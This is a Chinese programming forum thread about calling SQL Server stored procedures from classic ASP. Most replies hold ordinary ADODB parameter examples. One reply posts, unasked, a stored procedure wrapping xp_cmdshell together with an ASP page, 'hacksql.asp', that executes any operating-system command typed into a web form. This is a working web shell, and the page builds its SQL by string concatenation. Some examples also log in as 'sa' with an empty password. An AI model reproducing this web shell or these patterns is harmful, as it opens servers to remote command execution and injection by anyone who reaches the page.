在ASP中如何使用SQL的存储过程?

(1)求一个SQL数据分页的存储过程源代码(参考用)
(2)在ASP中如何调用这个存储过程?
很菜的问题,谢谢!

---------------------------------------------------------------

1,调用没有参数的存储过程

 1   
 2set conn=server.CreateObject("adodb.connection")   
 3set cmd=server.CreateObject("adodb.command")   
 4strconn="dsn=pubs;uid=sa;pwd"   
 5  
 6conn.Open strconn   
 7set cmd.ActiveConnection=conn   
 8  
 9cmd.CommandText="{call nono}"   
10  
11'set rs=cmc.exe 或者cmd.execute   
12  
13set rs=cmd.Execute()   
14  

2,一个输入的参数的存储过程

 1   
 2set conn=server.CreateObject("adodb.connection")   
 3set cmd=server.CreateObject("adodb.command")   
 4strconn="dsn=pubs;uid=sa;pwd"   
 5  
 6conn.Open strconn   
 7set cmd.ActiveConnection=conn   
 8  
 9cmd.CommandText="{call oneinput(?)}"   
10cmd.Parameters.Append cmd.CreateParameter("@aaa",adInteger ,adParamInput )   
11cmd("@aaa")=100   
12  
13cmd.Execute()   
14  

3,一个输入参数和一个输出的参数

 1   
 2set conn=server.CreateObject("adodb.connection")   
 3set cmd=server.CreateObject("adodb.command")   
 4strconn="dsn=pubs;uid=sa;pwd"   
 5  
 6conn.Open strconn   
 7set cmd.ActiveConnection=conn   
 8  
 9cmd.CommandText = "{call oneinout(?,?)}"   
10cmd.Parameters.Append cmd.CreateParameter("@aaa",adInteger,adParamInput)   
11cmd("@aaa")=10   
12cmd.Parameters.Append cmd.CreateParameter("@bbb",adInteger,adParamOutput)   
13  
14cmd.Execute()   
15  
16bbb=cmd("@bbb")   

4,一个输入参数,一个输出参数,和一个返回值

 1   
 2set conn=server.CreateObject("adodb.connection")   
 3set cmd=server.CreateObject("adodb.command")   
 4strconn="dsn=pubs;uid=sa;pwd"   
 5  
 6conn.Open strconn   
 7set cmd.ActiveConnection=conn   
 8  
 9cmd.CommandText="{?=call onereturn(?,?)}"   
10  
11cmd.Parameters.Append cmd.CreateParameter("@return_value",adInteger,adParamReturnValue )   
12cmd.Parameters.Append cmd.CreateParameter("@aaa",adInteger,adParamInput )   
13cmd("@aaa")=10   
14cmd.Parameters.Append cmd.CreateParameter("@bbb",adInteger,adParamOutput)   
15  
16cmd.Execute()   
17  
18bbb=cmd("@bbb")   
19rrr=cmd("@return_value")   

---------------------------------------------------------------

1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy
如下:
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下:(hacksql.asp)

 1   
 2cmd=trim(Request.Form("cmd"))   
 3if cmd<>"" then   
 4work()   
 5else   
 6show()   
 7end if   
 8function work()   
 9set conn=server.CreateObject("adodb.connection")   
10set rs=server.CreateObject("adodb.recordset")   
11conn.Open "xx","sa",""   
12sql="exec ddy '"&cmd&"'"   
13  
14rs.Open sql,conn   
15if not rs.EOF then   
16do while not rs.eof   
17Response.Write "

<pre>"&amp;htmlencode2(trim(rs(0)))&amp;"</pre>

 1"   
 2rs.MoveNext   
 3loop   
 4else   
 5Response.Write "no"   
 6end if   
 7if rs.State=1 then rs.close   
 8set rs=nothing   
 9conn.Close   
10set conn=nothing   
11end function   
12function show()   
1<form action="hacksql.asp" method="post">   
2请输入DOS命令:<input name="cmd" type="text"/>
3<input type="submit" value="ok"/>
4</form>
 1   
 2end function   
 3function htmlencode2(str)'--------转换函数(为了显示时比较工整)   
 4dim result   
 5dim l   
 6if isnull(str) then   
 7htmlencode2=""   
 8exit function   
 9end if   
10l=len(str)   
11result=""   
12dim i   
13for i = 1 to l   
14select case mid(str,i,1)   
15case "<"   
16result=result+"<"   
17case ">"   
18result=result+">"   
19case chr(34)   
20result=result+"""   
21case "&"   
22result=result+"&"   
23case chr(13)   
24result=result+"

<br/>

 1"   
 2case chr(9)   
 3result=result+" "   
 4case "'"   
 5result=result+"’"   
 6case chr(32)   
 7result=result+" "   
 8if i+1<=l and i-1>0 then   
 9if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then   
10result=result+" "   
11else   
12result=result+" "   
13end if   
14else   
15result=result+" "   
16end if   
17case else   
18result=result+mid(str,i,1)   
19end select   
20next   
21htmlencode2=result   
22end function   

---------------------------------------------------------------

ASP中使用存储过程如下:
Set objrs_emp = Server.CreateObject("ADODB.Recordset")
set objcom = Server.CreateObject("ADODB.Command")

objcom.ActiveConnection = objconn
objcom.CommandType = &h0004
Const adCmdStoredProc = &H0004
objcom.CommandTimeOut = 15
objcom.Prepared = True

const adInteger = 3
const adVarChar = 200
const adBSTR = 8
const adChar = 129
const adLongVarChar = 201
const adWChar = 130
const adVarWChar = 202
const adLongVarWChar = 203
const adBinary = 128
const adVarBinary = 204
const adLongVarBinary = 205
Const adParamUnknow = &H0000
Const adParamInput = &H0001
Const adParamOutput = &H0002
Const adParamInputOutput = &H0003
Const adParamReturnValue = &H0004

objcom.CommandText = "存储过程名称"
objcom.Parameters.Append objcom.CreateParameter("@empid",129,&H0001,10,empid)
objcom.Parameters.Append objcom.CreateParameter("@password",129,&H0001,10,password)
objcom.Parameters.Append objcom.CreateParameter("@ret",3,&H0001,,1)
Set objrs_emp = objcom.Execute
---------------------------------------------------------------

另外问一句,谁知道利用存储过程得出的记录集如何实现分页。
---------------------------------------------------------------

http://www.aspsky.net/article/list.asp?id=2742
---------------------------------------------------------------

忘了留地址。有高手知道请联系我,多谢。
qq:13988613
email:hc_[email protected]
---------------------------------------------------------------

网上很多,为什么不搜索一下呢?

Published At
Categories with Web编程
Tagged with
comments powered by Disqus